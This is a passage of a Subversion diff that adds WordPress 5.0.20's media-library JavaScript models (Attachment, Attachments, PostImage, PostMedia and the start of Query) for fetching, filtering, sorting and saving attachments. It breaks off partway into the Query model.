+	} else if ( 'manage' === attributes.frame && MediaFrame.Manage ) {
+		frame = new MediaFrame.Manage( attributes );
+	} else if ( 'image' === attributes.frame && MediaFrame.ImageDetails ) {
+		frame = new MediaFrame.ImageDetails( attributes );
+	} else if ( 'audio' === attributes.frame && MediaFrame.AudioDetails ) {
+		frame = new MediaFrame.AudioDetails( attributes );
+	} else if ( 'video' === attributes.frame && MediaFrame.VideoDetails ) {
+		frame = new MediaFrame.VideoDetails( attributes );
+	} else if ( 'edit-attachments' === attributes.frame && MediaFrame.EditAttachments ) {
+		frame = new MediaFrame.EditAttachments( attributes );
+	}
+
+	delete attributes.frame;
+
+	media.frame = frame;
+
+	return frame;
+};
+
+/** @namespace wp.media.model */
+/** @namespace wp.media.view */
+/** @namespace wp.media.controller */
+/** @namespace wp.media.frames */
+_.extend( media, { model: {}, view: {}, controller: {}, frames: {} });
+
+// Link any localized strings.
+l10n = media.model.l10n = window._wpMediaModelsL10n || {};
+
+// Link any settings.
+media.model.settings = l10n.settings || {};
+delete l10n.settings;
+
+Attachment = media.model.Attachment = require( './models/attachment.js' );
+Attachments = media.model.Attachments = require( './models/attachments.js' );
+
+media.model.Query = require( './models/query.js' );
+media.model.PostImage = require( './models/post-image.js' );
+media.model.Selection = require( './models/selection.js' );
+
+/**
+ * ========================================================================
+ * UTILITIES
+ * ========================================================================
+ */
+
+/**
+ * A basic equality comparator for Backbone models.
+ *
+ * Used to order models within a collection - @see wp.media.model.Attachments.comparator().
+ *
+ * @param  {mixed}  a  The primary parameter to compare.
+ * @param  {mixed}  b  The primary parameter to compare.
+ * @param  {string} ac The fallback parameter to compare, a's cid.
+ * @param  {string} bc The fallback parameter to compare, b's cid.
+ * @return {number}    -1: a should come before b.
+ *                      0: a and b are of the same rank.
+ *                      1: b should come before a.
+ */
+media.compare = function( a, b, ac, bc ) {
+	if ( _.isEqual( a, b ) ) {
+		return ac === bc ? 0 : (ac > bc ? -1 : 1);
+	} else {
+		return a > b ? -1 : 1;
+	}
+};
+
+_.extend( media, /** @lends wp.media */{
+	/**
+	 * media.template( id )
+	 *
+	 * Fetch a JavaScript template for an id, and return a templating function for it.
+	 *
+	 * See wp.template() in `wp-includes/js/wp-util.js`.
+	 *
+	 * @borrows wp.template as template
+	 */
+	template: wp.template,
+
+	/**
+	 * media.post( [action], [data] )
+	 *
+	 * Sends a POST request to WordPress.
+	 * See wp.ajax.post() in `wp-includes/js/wp-util.js`.
+	 *
+	 * @borrows wp.ajax.post as post
+	 */
+	post: wp.ajax.post,
+
+	/**
+	 * media.ajax( [action], [options] )
+	 *
+	 * Sends an XHR request to WordPress.
+	 * See wp.ajax.send() in `wp-includes/js/wp-util.js`.
+	 *
+	 * @borrows wp.ajax.send as ajax
+	 */
+	ajax: wp.ajax.send,
+
+	/**
+	 * Scales a set of dimensions to fit within bounding dimensions.
+	 *
+	 * @param {Object} dimensions
+	 * @returns {Object}
+	 */
+	fit: function( dimensions ) {
+		var width     = dimensions.width,
+			height    = dimensions.height,
+			maxWidth  = dimensions.maxWidth,
+			maxHeight = dimensions.maxHeight,
+			constraint;
+
+		// Compare ratios between the two values to determine which
+		// max to constrain by. If a max value doesn't exist, then the
+		// opposite side is the constraint.
+		if ( ! _.isUndefined( maxWidth ) && ! _.isUndefined( maxHeight ) ) {
+			constraint = ( width / height > maxWidth / maxHeight ) ? 'width' : 'height';
+		} else if ( _.isUndefined( maxHeight ) ) {
+			constraint = 'width';
+		} else if (  _.isUndefined( maxWidth ) && height > maxHeight ) {
+			constraint = 'height';
+		}
+
+		// If the value of the constrained side is larger than the max,
+		// then scale the values. Otherwise return the originals; they fit.
+		if ( 'width' === constraint && width > maxWidth ) {
+			return {
+				width : maxWidth,
+				height: Math.round( maxWidth * height / width )
+			};
+		} else if ( 'height' === constraint && height > maxHeight ) {
+			return {
+				width : Math.round( maxHeight * width / height ),
+				height: maxHeight
+			};
+		} else {
+			return {
+				width : width,
+				height: height
+			};
+		}
+	},
+	/**
+	 * Truncates a string by injecting an ellipsis into the middle.
+	 * Useful for filenames.
+	 *
+	 * @param {String} string
+	 * @param {Number} [length=30]
+	 * @param {String} [replacement=&hellip;]
+	 * @returns {String} The string, unless length is greater than string.length.
+	 */
+	truncate: function( string, length, replacement ) {
+		length = length || 30;
+		replacement = replacement || '&hellip;';
+
+		if ( string.length <= length ) {
+			return string;
+		}
+
+		return string.substr( 0, length / 2 ) + replacement + string.substr( -1 * length / 2 );
+	}
+});
+
+/**
+ * ========================================================================
+ * MODELS
+ * ========================================================================
+ */
+/**
+ * wp.media.attachment
+ *
+ * @static
+ * @param {String} id A string used to identify a model.
+ * @returns {wp.media.model.Attachment}
+ */
+media.attachment = function( id ) {
+	return Attachment.get( id );
+};
+
+/**
+ * A collection of all attachments that have been fetched from the server.
+ *
+ * @static
+ * @member {wp.media.model.Attachments}
+ */
+Attachments.all = new Attachments();
+
+/**
+ * wp.media.query
+ *
+ * Shorthand for creating a new Attachments Query.
+ *
+ * @param {object} [props]
+ * @returns {wp.media.model.Attachments}
+ */
+media.query = function( props ) {
+	return new Attachments( null, {
+		props: _.extend( _.defaults( props || {}, { orderby: 'date' } ), { query: true } )
+	});
+};
+
+// Clean up. Prevents mobile browsers caching
+$(window).on('unload', function(){
+	window.wp = null;
+});
Index: /tags/5.0.20/src/wp-includes/js/media/models/attachment.js
===================================================================
--- /tags/5.0.20/src/wp-includes/js/media/models/attachment.js	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/js/media/models/attachment.js	(revision 56912)
@@ -0,0 +1,169 @@
+var $ = Backbone.$,
+	Attachment;
+
+/**
+ * wp.media.model.Attachment
+ *
+ * @memberOf wp.media.model
+ *
+ * @class
+ * @augments Backbone.Model
+ */
+Attachment = Backbone.Model.extend(/** @lends wp.media.model.Attachment.prototype */{
+	/**
+	 * Triggered when attachment details change
+	 * Overrides Backbone.Model.sync
+	 *
+	 * @param {string} method
+	 * @param {wp.media.model.Attachment} model
+	 * @param {Object} [options={}]
+	 *
+	 * @returns {Promise}
+	 */
+	sync: function( method, model, options ) {
+		// If the attachment does not yet have an `id`, return an instantly
+		// rejected promise. Otherwise, all of our requests will fail.
+		if ( _.isUndefined( this.id ) ) {
+			return $.Deferred().rejectWith( this ).promise();
+		}
+
+		// Overload the `read` request so Attachment.fetch() functions correctly.
+		if ( 'read' === method ) {
+			options = options || {};
+			options.context = this;
+			options.data = _.extend( options.data || {}, {
+				action: 'get-attachment',
+				id: this.id
+			});
+			return wp.media.ajax( options );
+
+		// Overload the `update` request so properties can be saved.
+		} else if ( 'update' === method ) {
+			// If we do not have the necessary nonce, fail immeditately.
+			if ( ! this.get('nonces') || ! this.get('nonces').update ) {
+				return $.Deferred().rejectWith( this ).promise();
+			}
+
+			options = options || {};
+			options.context = this;
+
+			// Set the action and ID.
+			options.data = _.extend( options.data || {}, {
+				action:  'save-attachment',
+				id:      this.id,
+				nonce:   this.get('nonces').update,
+				post_id: wp.media.model.settings.post.id
+			});
+
+			// Record the values of the changed attributes.
+			if ( model.hasChanged() ) {
+				options.data.changes = {};
+
+				_.each( model.changed, function( value, key ) {
+					options.data.changes[ key ] = this.get( key );
+				}, this );
+			}
+
+			return wp.media.ajax( options );
+
+		// Overload the `delete` request so attachments can be removed.
+		// This will permanently delete an attachment.
+		} else if ( 'delete' === method ) {
+			options = options || {};
+
+			if ( ! options.wait ) {
+				this.destroyed = true;
+			}
+
+			options.context = this;
+			options.data = _.extend( options.data || {}, {
+				action:   'delete-post',
+				id:       this.id,
+				_wpnonce: this.get('nonces')['delete']
+			});
+
+			return wp.media.ajax( options ).done( function() {
+				this.destroyed = true;
+			}).fail( function() {
+				this.destroyed = false;
+			});
+
+		// Otherwise, fall back to `Backbone.sync()`.
+		} else {
+			/**
+			 * Call `sync` directly on Backbone.Model
+			 */
+			return Backbone.Model.prototype.sync.apply( this, arguments );
+		}
+	},
+	/**
+	 * Convert date strings into Date objects.
+	 *
+	 * @param {Object} resp The raw response object, typically returned by fetch()
+	 * @returns {Object} The modified response object, which is the attributes hash
+	 *    to be set on the model.
+	 */
+	parse: function( resp ) {
+		if ( ! resp ) {
+			return resp;
+		}
+
+		resp.date = new Date( resp.date );
+		resp.modified = new Date( resp.modified );
+		return resp;
+	},
+	/**
+	 * @param {Object} data The properties to be saved.
+	 * @param {Object} options Sync options. e.g. patch, wait, success, error.
+	 *
+	 * @this Backbone.Model
+	 *
+	 * @returns {Promise}
+	 */
+	saveCompat: function( data, options ) {
+		var model = this;
+
+		// If we do not have the necessary nonce, fail immeditately.
+		if ( ! this.get('nonces') || ! this.get('nonces').update ) {
+			return $.Deferred().rejectWith( this ).promise();
+		}
+
+		return wp.media.post( 'save-attachment-compat', _.defaults({
+			id:      this.id,
+			nonce:   this.get('nonces').update,
+			post_id: wp.media.model.settings.post.id
+		}, data ) ).done( function( resp, status, xhr ) {
+			model.set( model.parse( resp, xhr ), options );
+		});
+	}
+},/** @lends wp.media.model.Attachment */{
+	/**
+	 * Create a new model on the static 'all' attachments collection and return it.
+	 *
+	 * @static
+	 *
+	 * @param {Object} attrs
+	 * @returns {wp.media.model.Attachment}
+	 */
+	create: function( attrs ) {
+		var Attachments = wp.media.model.Attachments;
+		return Attachments.all.push( attrs );
+	},
+	/**
+	 * Create a new model on the static 'all' attachments collection and return it.
+	 *
+	 * If this function has already been called for the id,
+	 * it returns the specified attachment.
+	 *
+	 * @static
+	 * @param {string} id A string used to identify a model.
+	 * @param {Backbone.Model|undefined} attachment
+	 * @returns {wp.media.model.Attachment}
+	 */
+	get: _.memoize( function( id, attachment ) {
+		var Attachments = wp.media.model.Attachments;
+		return Attachments.all.push( attachment || { id: id } );
+	})
+});
+
+module.exports = Attachment;
Index: /tags/5.0.20/src/wp-includes/js/media/models/attachments.js
===================================================================
--- /tags/5.0.20/src/wp-includes/js/media/models/attachments.js	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/js/media/models/attachments.js	(revision 56912)
@@ -0,0 +1,552 @@
+/**
+ * wp.media.model.Attachments
+ *
+ * A collection of attachments.
+ *
+ * This collection has no persistence with the server without supplying
+ * 'options.props.query = true', which will mirror the collection
+ * to an Attachments Query collection - @see wp.media.model.Attachments.mirror().
+ *
+ * @memberOf wp.media.model
+ *
+ * @class
+ * @augments Backbone.Collection
+ *
+ * @param {array}  [models]                Models to initialize with the collection.
+ * @param {object} [options]               Options hash for the collection.
+ * @param {string} [options.props]         Options hash for the initial query properties.
+ * @param {string} [options.props.order]   Initial order (ASC or DESC) for the collection.
+ * @param {string} [options.props.orderby] Initial attribute key to order the collection by.
+ * @param {string} [options.props.query]   Whether the collection is linked to an attachments query.
+ * @param {string} [options.observe]
+ * @param {string} [options.filters]
+ *
+ */
+var Attachments = Backbone.Collection.extend(/** @lends wp.media.model.Attachments.prototype */{
+	/**
+	 * @type {wp.media.model.Attachment}
+	 */
+	model: wp.media.model.Attachment,
+	/**
+	 * @param {Array} [models=[]] Array of models used to populate the collection.
+	 * @param {Object} [options={}]
+	 */
+	initialize: function( models, options ) {
+		options = options || {};
+
+		this.props   = new Backbone.Model();
+		this.filters = options.filters || {};
+
+		// Bind default `change` events to the `props` model.
+		this.props.on( 'change', this._changeFilteredProps, this );
+
+		this.props.on( 'change:order',   this._changeOrder,   this );
+		this.props.on( 'change:orderby', this._changeOrderby, this );
+		this.props.on( 'change:query',   this._changeQuery,   this );
+
+		this.props.set( _.defaults( options.props || {} ) );
+
+		if ( options.observe ) {
+			this.observe( options.observe );
+		}
+	},
+	/**
+	 * Sort the collection when the order attribute changes.
+	 *
+	 * @access private
+	 */
+	_changeOrder: function() {
+		if ( this.comparator ) {
+			this.sort();
+		}
+	},
+	/**
+	 * Set the default comparator only when the `orderby` property is set.
+	 *
+	 * @access private
+	 *
+	 * @param {Backbone.Model} model
+	 * @param {string} orderby
+	 */
+	_changeOrderby: function( model, orderby ) {
+		// If a different comparator is defined, bail.
+		if ( this.comparator && this.comparator !== Attachments.comparator ) {
+			return;
+		}
+
+		if ( orderby && 'post__in' !== orderby ) {
+			this.comparator = Attachments.comparator;
+		} else {
+			delete this.comparator;
+		}
+	},
+	/**
+	 * If the `query` property is set to true, query the server using
+	 * the `props` values, and sync the results to this collection.
+	 *
+	 * @access private
+	 *
+	 * @param {Backbone.Model} model
+	 * @param {Boolean} query
+	 */
+	_changeQuery: function( model, query ) {
+		if ( query ) {
+			this.props.on( 'change', this._requery, this );
+			this._requery();
+		} else {
+			this.props.off( 'change', this._requery, this );
+		}
+	},
+	/**
+	 * @access private
+	 *
+	 * @param {Backbone.Model} model
+	 */
+	_changeFilteredProps: function( model ) {
+		// If this is a query, updating the collection will be handled by
+		// `this._requery()`.
+		if ( this.props.get('query') ) {
+			return;
+		}
+
+		var changed = _.chain( model.changed ).map( function( t, prop ) {
+			var filter = Attachments.filters[ prop ],
+				term = model.get( prop );
+
+			if ( ! filter ) {
+				return;
+			}
+
+			if ( term && ! this.filters[ prop ] ) {
+				this.filters[ prop ] = filter;
+			} else if ( ! term && this.filters[ prop ] === filter ) {
+				delete this.filters[ prop ];
+			} else {
+				return;
+			}
+
+			// Record the change.
+			return true;
+		}, this ).any().value();
+
+		if ( ! changed ) {
+			return;
+		}
+
+		// If no `Attachments` model is provided to source the searches
+		// from, then automatically generate a source from the existing
+		// models.
+		if ( ! this._source ) {
+			this._source = new Attachments( this.models );
+		}
+
+		this.reset( this._source.filter( this.validator, this ) );
+	},
+
+	validateDestroyed: false,
+	/**
+	 * Checks whether an attachment is valid.
+	 *
+	 * @param {wp.media.model.Attachment} attachment
+	 * @returns {Boolean}
+	 */
+	validator: function( attachment ) {
+
+		// Filter out contextually created attachments (e.g. headers, logos, etc.).
+		if (
+			! _.isUndefined( attachment.attributes.context ) &&
+			'' !== attachment.attributes.context
+		) {
+			return false;
+		}
+
+		if ( ! this.validateDestroyed && attachment.destroyed ) {
+			return false;
+		}
+		return _.all( this.filters, function( filter ) {
+			return !! filter.call( this, attachment );
+		}, this );
+	},
+	/**
+	 * Add or remove an attachment to the collection depending on its validity.
+	 *
+	 * @param {wp.media.model.Attachment} attachment
+	 * @param {Object} options
+	 * @returns {wp.media.model.Attachments} Returns itself to allow chaining
+	 */
+	validate: function( attachment, options ) {
+		var valid = this.validator( attachment ),
+			hasAttachment = !! this.get( attachment.cid );
+
+		if ( ! valid && hasAttachment ) {
+			this.remove( attachment, options );
+		} else if ( valid && ! hasAttachment ) {
+			this.add( attachment, options );
+		}
+
+		return this;
+	},
+
+	/**
+	 * Add or remove all attachments from another collection depending on each one's validity.
+	 *
+	 * @param {wp.media.model.Attachments} attachments
+	 * @param {object} [options={}]
+	 *
+	 * @fires wp.media.model.Attachments#reset
+	 *
+	 * @returns {wp.media.model.Attachments} Returns itself to allow chaining
+	 */
+	validateAll: function( attachments, options ) {
+		options = options || {};
+
+		_.each( attachments.models, function( attachment ) {
+			this.validate( attachment, { silent: true });
+		}, this );
+
+		if ( ! options.silent ) {
+			this.trigger( 'reset', this, options );
+		}
+		return this;
+	},
+	/**
+	 * Start observing another attachments collection change events
+	 * and replicate them on this collection.
+	 *
+	 * @param {wp.media.model.Attachments} The attachments collection to observe.
+	 * @returns {wp.media.model.Attachments} Returns itself to allow chaining.
+	 */
+	observe: function( attachments ) {
+		this.observers = this.observers || [];
+		this.observers.push( attachments );
+
+		attachments.on( 'add change remove', this._validateHandler, this );
+		attachments.on( 'reset', this._validateAllHandler, this );
+		this.validateAll( attachments );
+		return this;
+	},
+	/**
+	 * Stop replicating collection change events from another attachments collection.
+	 *
+	 * @param {wp.media.model.Attachments} The attachments collection to stop observing.
+	 * @returns {wp.media.model.Attachments} Returns itself to allow chaining
+	 */
+	unobserve: function( attachments ) {
+		if ( attachments ) {
+			attachments.off( null, null, this );
+			this.observers = _.without( this.observers, attachments );
+
+		} else {
+			_.each( this.observers, function( attachments ) {
+				attachments.off( null, null, this );
+			}, this );
+			delete this.observers;
+		}
+
+		return this;
+	},
+	/**
+	 * @access private
+	 *
+	 * @param {wp.media.model.Attachments} attachment
+	 * @param {wp.media.model.Attachments} attachments
+	 * @param {Object} options
+	 *
+	 * @returns {wp.media.model.Attachments} Returns itself to allow chaining
+	 */
+	_validateHandler: function( attachment, attachments, options ) {
+		// If we're not mirroring this `attachments` collection,
+		// only retain the `silent` option.
+		options = attachments === this.mirroring ? options : {
+			silent: options && options.silent
+		};
+
+		return this.validate( attachment, options );
+	},
+	/**
+	 * @access private
+	 *
+	 * @param {wp.media.model.Attachments} attachments
+	 * @param {Object} options
+	 * @returns {wp.media.model.Attachments} Returns itself to allow chaining
+	 */
+	_validateAllHandler: function( attachments, options ) {
+		return this.validateAll( attachments, options );
+	},
+	/**
+	 * Start mirroring another attachments collection, clearing out any models already
+	 * in the collection.
+	 *
+	 * @param {wp.media.model.Attachments} The attachments collection to mirror.
+	 * @returns {wp.media.model.Attachments} Returns itself to allow chaining
+	 */
+	mirror: function( attachments ) {
+		if ( this.mirroring && this.mirroring === attachments ) {
+			return this;
+		}
+
+		this.unmirror();
+		this.mirroring = attachments;
+
+		// Clear the collection silently. A `reset` event will be fired
+		// when `observe()` calls `validateAll()`.
+		this.reset( [], { silent: true } );
+		this.observe( attachments );
+
+		return this;
+	},
+	/**
+	 * Stop mirroring another attachments collection.
+	 */
+	unmirror: function() {
+		if ( ! this.mirroring ) {
+			return;
+		}
+
+		this.unobserve( this.mirroring );
+		delete this.mirroring;
+	},
+	/**
+	 * Retrieve more attachments from the server for the collection.
+	 *
+	 * Only works if the collection is mirroring a Query Attachments collection,
+	 * and forwards to its `more` method. This collection class doesn't have
+	 * server persistence by itself.
+	 *
+	 * @param {object} options
+	 * @returns {Promise}
+	 */
+	more: function( options ) {
+		var deferred = jQuery.Deferred(),
+			mirroring = this.mirroring,
+			attachments = this;
+
+		if ( ! mirroring || ! mirroring.more ) {
+			return deferred.resolveWith( this ).promise();
+		}
+		// If we're mirroring another collection, forward `more` to
+		// the mirrored collection. Account for a race condition by
+		// checking if we're still mirroring that collection when
+		// the request resolves.
+		mirroring.more( options ).done( function() {
+			if ( this === attachments.mirroring ) {
+				deferred.resolveWith( this );
+			}
+		});
+
+		return deferred.promise();
+	},
+	/**
+	 * Whether there are more attachments that haven't been sync'd from the server
+	 * that match the collection's query.
+	 *
+	 * Only works if the collection is mirroring a Query Attachments collection,
+	 * and forwards to its `hasMore` method. This collection class doesn't have
+	 * server persistence by itself.
+	 *
+	 * @returns {boolean}
+	 */
+	hasMore: function() {
+		return this.mirroring ? this.mirroring.hasMore() : false;
+	},
+	/**
+	 * A custom AJAX-response parser.
+	 *
+	 * See trac ticket #24753
+	 *
+	 * @param {Object|Array} resp The raw response Object/Array.
+	 * @param {Object} xhr
+	 * @returns {Array} The array of model attributes to be added to the collection
+	 */
+	parse: function( resp, xhr ) {
+		if ( ! _.isArray( resp ) ) {
+			resp = [resp];
+		}
+
+		return _.map( resp, function( attrs ) {
+			var id, attachment, newAttributes;
+
+			if ( attrs instanceof Backbone.Model ) {
+				id = attrs.get( 'id' );
+				attrs = attrs.attributes;
+			} else {
+				id = attrs.id;
+			}
+
+			attachment = wp.media.model.Attachment.get( id );
+			newAttributes = attachment.parse( attrs, xhr );
+
+			if ( ! _.isEqual( attachment.attributes, newAttributes ) ) {
+				attachment.set( newAttributes );
+			}
+
+			return attachment;
+		});
+	},
+	/**
+	 * If the collection is a query, create and mirror an Attachments Query collection.
+	 *
+	 * @access private
+	 */
+	_requery: function( refresh ) {
+		var props;
+		if ( this.props.get('query') ) {
+			props = this.props.toJSON();
+			props.cache = ( true !== refresh );
+			this.mirror( wp.media.model.Query.get( props ) );
+		}
+	},
+	/**
+	 * If this collection is sorted by `menuOrder`, recalculates and saves
+	 * the menu order to the database.
+	 *
+	 * @returns {undefined|Promise}
+	 */
+	saveMenuOrder: function() {
+		if ( 'menuOrder' !== this.props.get('orderby') ) {
+			return;
+		}
+
+		// Removes any uploading attachments, updates each attachment's
+		// menu order, and returns an object with an { id: menuOrder }
+		// mapping to pass to the request.
+		var attachments = this.chain().filter( function( attachment ) {
+			return ! _.isUndefined( attachment.id );
+		}).map( function( attachment, index ) {
+			// Indices start at 1.
+			index = index + 1;
+			attachment.set( 'menuOrder', index );
+			return [ attachment.id, index ];
+		}).object().value();
+
+		if ( _.isEmpty( attachments ) ) {
+			return;
+		}
+
+		return wp.media.post( 'save-attachment-order', {
+			nonce:       wp.media.model.settings.post.nonce,
+			post_id:     wp.media.model.settings.post.id,
+			attachments: attachments
+		});
+	}
+},/** @lends wp.media.model.Attachments */{
+	/**
+	 * A function to compare two attachment models in an attachments collection.
+	 *
+	 * Used as the default comparator for instances of wp.media.model.Attachments
+	 * and its subclasses. @see wp.media.model.Attachments._changeOrderby().
+	 *
+	 * @param {Backbone.Model} a
+	 * @param {Backbone.Model} b
+	 * @param {Object} options
+	 * @returns {Number} -1 if the first model should come before the second,
+	 *    0 if they are of the same rank and
+	 *    1 if the first model should come after.
+	 */
+	comparator: function( a, b, options ) {
+		var key   = this.props.get('orderby'),
+			order = this.props.get('order') || 'DESC',
+			ac    = a.cid,
+			bc    = b.cid;
+
+		a = a.get( key );
+		b = b.get( key );
+
+		if ( 'date' === key || 'modified' === key ) {
+			a = a || new Date();
+			b = b || new Date();
+		}
+
+		// If `options.ties` is set, don't enforce the `cid` tiebreaker.
+		if ( options && options.ties ) {
+			ac = bc = null;
+		}
+
+		return ( 'DESC' === order ) ? wp.media.compare( a, b, ac, bc ) : wp.media.compare( b, a, bc, ac );
+	},
+	/** @namespace wp.media.model.Attachments.filters */
+	filters: {
+		/**
+		 * @static
+		 * Note that this client-side searching is *not* equivalent
+		 * to our server-side searching.
+		 *
+		 * @param {wp.media.model.Attachment} attachment
+		 *
+		 * @this wp.media.model.Attachments
+		 *
+		 * @returns {Boolean}
+		 */
+		search: function( attachment ) {
+			if ( ! this.props.get('search') ) {
+				return true;
+			}
+
+			return _.any(['title','filename','description','caption','name'], function( key ) {
+				var value = attachment.get( key );
+				return value && -1 !== value.search( this.props.get('search') );
+			}, this );
+		},
+		/**
+		 * @static
+		 * @param {wp.media.model.Attachment} attachment
+		 *
+		 * @this wp.media.model.Attachments
+		 *
+		 * @returns {Boolean}
+		 */
+		type: function( attachment ) {
+			var type = this.props.get('type'), atts = attachment.toJSON(), mime, found;
+
+			if ( ! type || ( _.isArray( type ) && ! type.length ) ) {
+				return true;
+			}
+
+			mime = atts.mime || ( atts.file && atts.file.type ) || '';
+
+			if ( _.isArray( type ) ) {
+				found = _.find( type, function (t) {
+					return -1 !== mime.indexOf( t );
+				} );
+			} else {
+				found = -1 !== mime.indexOf( type );
+			}
+
+			return found;
+		},
+		/**
+		 * @static
+		 * @param {wp.media.model.Attachment} attachment
+		 *
+		 * @this wp.media.model.Attachments
+		 *
+		 * @returns {Boolean}
+		 */
+		uploadedTo: function( attachment ) {
+			var uploadedTo = this.props.get('uploadedTo');
+			if ( _.isUndefined( uploadedTo ) ) {
+				return true;
+			}
+
+			return uploadedTo === attachment.get('uploadedTo');
+		},
+		/**
+		 * @static
+		 * @param {wp.media.model.Attachment} attachment
+		 *
+		 * @this wp.media.model.Attachments
+		 *
+		 * @returns {Boolean}
+		 */
+		status: function( attachment ) {
+			var status = this.props.get('status');
+			if ( _.isUndefined( status ) ) {
+				return true;
+			}
+
+			return status === attachment.get('status');
+		}
+	}
+});
+
+module.exports = Attachments;
Index: /tags/5.0.20/src/wp-includes/js/media/models/post-image.js
===================================================================
--- /tags/5.0.20/src/wp-includes/js/media/models/post-image.js	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/js/media/models/post-image.js	(revision 56912)
@@ -0,0 +1,154 @@
+/**
+ * wp.media.model.PostImage
+ *
+ * An instance of an image that's been embedded into a post.
+ *
+ * Used in the embedded image attachment display settings modal - @see wp.media.view.MediaFrame.ImageDetails.
+ *
+ * @memberOf wp.media.model
+ *
+ * @class
+ * @augments Backbone.Model
+ *
+ * @param {int} [attributes]               Initial model attributes.
+ * @param {int} [attributes.attachment_id] ID of the attachment.
+ **/
+var PostImage = Backbone.Model.extend(/** @lends wp.media.model.PostImage.prototype */{
+
+	initialize: function( attributes ) {
+		var Attachment = wp.media.model.Attachment;
+		this.attachment = false;
+
+		if ( attributes.attachment_id ) {
+			this.attachment = Attachment.get( attributes.attachment_id );
+			if ( this.attachment.get( 'url' ) ) {
+				this.dfd = jQuery.Deferred();
+				this.dfd.resolve();
+			} else {
+				this.dfd = this.attachment.fetch();
+			}
+			this.bindAttachmentListeners();
+		}
+
+		// keep url in sync with changes to the type of link
+		this.on( 'change:link', this.updateLinkUrl, this );
+		this.on( 'change:size', this.updateSize, this );
+
+		this.setLinkTypeFromUrl();
+		this.setAspectRatio();
+
+		this.set( 'originalUrl', attributes.url );
+	},
+
+	bindAttachmentListeners: function() {
+		this.listenTo( this.attachment, 'sync', this.setLinkTypeFromUrl );
+		this.listenTo( this.attachment, 'sync', this.setAspectRatio );
+		this.listenTo( this.attachment, 'change', this.updateSize );
+	},
+
+	changeAttachment: function( attachment, props ) {
+		this.stopListening( this.attachment );
+		this.attachment = attachment;
+		this.bindAttachmentListeners();
+
+		this.set( 'attachment_id', this.attachment.get( 'id' ) );
+		this.set( 'caption', this.attachment.get( 'caption' ) );
+		this.set( 'alt', this.attachment.get( 'alt' ) );
+		this.set( 'size', props.get( 'size' ) );
+		this.set( 'align', props.get( 'align' ) );
+		this.set( 'link', props.get( 'link' ) );
+		this.updateLinkUrl();
+		this.updateSize();
+	},
+
+	setLinkTypeFromUrl: function() {
+		var linkUrl = this.get( 'linkUrl' ),
+			type;
+
+		if ( ! linkUrl ) {
+			this.set( 'link', 'none' );
+			return;
+		}
+
+		// default to custom if there is a linkUrl
+		type = 'custom';
+
+		if ( this.attachment ) {
+			if ( this.attachment.get( 'url' ) === linkUrl ) {
+				type = 'file';
+			} else if ( this.attachment.get( 'link' ) === linkUrl ) {
+				type = 'post';
+			}
+		} else {
+			if ( this.get( 'url' ) === linkUrl ) {
+				type = 'file';
+			}
+		}
+
+		this.set( 'link', type );
+	},
+
+	updateLinkUrl: function() {
+		var link = this.get( 'link' ),
+			url;
+
+		switch( link ) {
+			case 'file':
+				if ( this.attachment ) {
+					url = this.attachment.get( 'url' );
+				} else {
+					url = this.get( 'url' );
+				}
+				this.set( 'linkUrl', url );
+				break;
+			case 'post':
+				this.set( 'linkUrl', this.attachment.get( 'link' ) );
+				break;
+			case 'none':
+				this.set( 'linkUrl', '' );
+				break;
+		}
+	},
+
+	updateSize: function() {
+		var size;
+
+		if ( ! this.attachment ) {
+			return;
+		}
+
+		if ( this.get( 'size' ) === 'custom' ) {
+			this.set( 'width', this.get( 'customWidth' ) );
+			this.set( 'height', this.get( 'customHeight' ) );
+			this.set( 'url', this.get( 'originalUrl' ) );
+			return;
+		}
+
+		size = this.attachment.get( 'sizes' )[ this.get( 'size' ) ];
+
+		if ( ! size ) {
+			return;
+		}
+
+		this.set( 'url', size.url );
+		this.set( 'width', size.width );
+		this.set( 'height', size.height );
+	},
+
+	setAspectRatio: function() {
+		var full;
+
+		if ( this.attachment && this.attachment.get( 'sizes' ) ) {
+			full = this.attachment.get( 'sizes' ).full;
+
+			if ( full ) {
+				this.set( 'aspectRatio', full.width / full.height );
+				return;
+			}
+		}
+
+		this.set( 'aspectRatio', this.get( 'customWidth' ) / this.get( 'customHeight' ) );
+	}
+});
+
+module.exports = PostImage;
Index: /tags/5.0.20/src/wp-includes/js/media/models/post-media.js
===================================================================
--- /tags/5.0.20/src/wp-includes/js/media/models/post-media.js	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/js/media/models/post-media.js	(revision 56912)
@@ -0,0 +1,42 @@
+/**
+ * wp.media.model.PostMedia
+ *
+ * Shared model class for audio and video. Updates the model after
+ *   "Add Audio|Video Source" and "Replace Audio|Video" states return
+ *
+ * @memberOf wp.media.model
+ *
+ * @class
+ * @augments Backbone.Model
+ */
+var PostMedia = Backbone.Model.extend(/** @lends wp.media.model.PostMedia.prototype */{
+	initialize: function() {
+		this.attachment = false;
+	},
+
+	setSource: function( attachment ) {
+		this.attachment = attachment;
+		this.extension = attachment.get( 'filename' ).split('.').pop();
+
+		if ( this.get( 'src' ) && this.extension === this.get( 'src' ).split('.').pop() ) {
+			this.unset( 'src' );
+		}
+
+		if ( _.contains( wp.media.view.settings.embedExts, this.extension ) ) {
+			this.set( this.extension, this.attachment.get( 'url' ) );
+		} else {
+			this.unset( this.extension );
+		}
+	},
+
+	changeAttachment: function( attachment ) {
+		this.setSource( attachment );
+
+		this.unset( 'src' );
+		_.each( _.without( wp.media.view.settings.embedExts, this.extension ), function( ext ) {
+			this.unset( ext );
+		}, this );
+	}
+});
+
+module.exports = PostMedia;
Index: /tags/5.0.20/src/wp-includes/js/media/models/query.js
===================================================================
--- /tags/5.0.20/src/wp-includes/js/media/models/query.js	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/js/media/models/query.js	(revision 56912)
@@ -0,0 +1,308 @@
+var Attachments = wp.media.model.Attachments,
+	Query;
+
+/**
+ * wp.media.model.Query
+ *
+ * A collection of attachments that match the supplied query arguments.
+ *
+ * Note: Do NOT change this.args after the query has been initialized.
+ *       Things will break.
+ *
+ * @memberOf wp.media.model
+ *
+ * @class
+ * @augments wp.media.model.Attachments
+ * @augments Backbone.Collection
+ *
+ * @param {array}  [models]                      Models to initialize with the collection.
+ * @param {object} [options]                     Options hash.
+ * @param {object} [options.args]                Attachments query arguments.
+ * @param {object} [options.args.posts_per_page]
+ */
+Query = Attachments.extend(/** @lends wp.media.model.Query.prototype */{
+	/**
+	 * @param {array}  [models=[]]  Array of initial models to populate the collection.
+	 * @param {object} [options={}]
